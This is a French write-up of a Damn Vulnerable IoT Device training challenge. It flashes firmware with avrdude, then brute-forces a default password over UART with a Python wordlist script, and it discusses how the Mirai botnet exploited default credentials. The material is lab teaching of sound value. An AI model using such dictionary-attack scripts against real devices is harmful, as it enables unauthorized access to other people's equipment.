DVID Writeup 03 - Firmware - Mot de passe par défaut

Table des matières :

Si vous n’êtes pas encore familiarisé avec le projet Damn Vulnerable Iot Device (DVID), je vous encourage à lire la page de présentation du projet.

Objectif de ce challenge

Un message confidentiel est stocké sur le micrologiciel mais protégé par un mot de passe par défaut.


Flash du firmware sur la carte DVID

Tout d’abord, nous allons flasher le firmware sur la carte DVID. Pour ce faire, nous utiliserons avrdude et un programmeur AVR USB. Si vous ne connaissez pas les options de avrdude, je vous encourage à lire la section flashing the board section de la première DVID ERITUPEUP de cette série. Nous allons flasher le firmware sur la carte à l’aide de ce beau script flash.sh :

#!/bin/bash

if [[ ! -d "./DVID/" ]]; then
    git clone https://github.com/vulcainreo/DVID
fi

pushd ./DVID/trainings/firmware/defaultPassword/
avrdude -F -v -p atmega328p -P /dev/ttyUSB0 -c usbasp -u -U flash:w:defaultPassword.ino.with_bootloader.arduino_standard.hex
popd

Maintenant, nous allons connecter la carte DVID à notre ordinateur à l’aide du programmeur AVR USB et démarrer le script. Lorsque la programmation AVR est terminée, la carte électronique doit redémarrer et vous devriez voir ceci :

Boot screen

Réslution du challenger

Maintenant que nous avons flashé le firmware, nous pouvons commencer le challenge. Nous pouvons voir que lorsque nous envoyons un mot de passe à la carte DVID via l’UART, il répond ko sur l’UART et affiche le ‘Wrong password’ à l’écran. Ok, alors nous pouvons bruteforcer cela !

Par conséquent, nous écrivons un script pour envoyer le mot de passe via l’UART et lire la réponse, si la réponse est ok, nous avons trouvé le bon mot de passe :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          :
# Author             :
# Date created       :
# Date last modified :
# Python Version     : 3.*

import serial
import time

def load_wordlist(file):
    f = open(file, "r")
    data = [line.strip() for line in f.readlines()]
    f.close()
    return data

wordlist = load_wordlist('wordlist.txt')

s = serial.Serial("/dev/ttyUSB0", 9600, timeout=4)

for password in wordlist :
    print('\r[>] Trying : %-30s' % password, end="")
    s.write(password.strip().encode('utf-8'))
    line = s.readline()
    # If the submited password is correct, reply ok later
    linebis = s.readline()
    # Load second answer if present
    line = (linebis if linebis != b'' else line)

    if b'ok' in line:
        print('\r[+] Found password : %s' % password)
        break
    # Waiting for screen
    time.sleep(2)
print()

Après quelques essais avec cette wordlist, nous trouvons le mot de passe par défaut ! C’était ….. password!

Win

Pour aller plus loin

Ce type de vulnérabilités pourrait sembler stupide, mais il est extrêmement courant. Malheureusement, de nombreux appareils IOT sont souvent accompagnés d’un nom d’utilisateur et d’un mot de passe par défaut (telles que “login: admin, mot de passe: admin”) et sont donc vulnérables aux attaques de dictionnaires. Nous pouvons prendre comme exemple le Mirai botnet, qui analyse Internet à la recherche de périphériques IoT avec nom d’utilisateur et mot de passe par défaut en utilisant des attaques par dictionnaire sur telnet. Une fois qu’un nouveau périphérique vulnérable a été découvert, le binaire Mirai Botnet est injecté dans l’appareil. Il rejoint le Mirai Botnet, ce qui le rend plus fort et capable de trouver de nouveaux appareils plus rapidement.

Ces botnets sont ensuite utilisés pour lancer des attaques plus grandes telles que les dénis de service distribués (DDOS) sur des structures plus robustes. Par exemple, le Botnet Mirai a été largement connu pour une attaque de service distribuée sur DynDNS en octobre 2016.

Références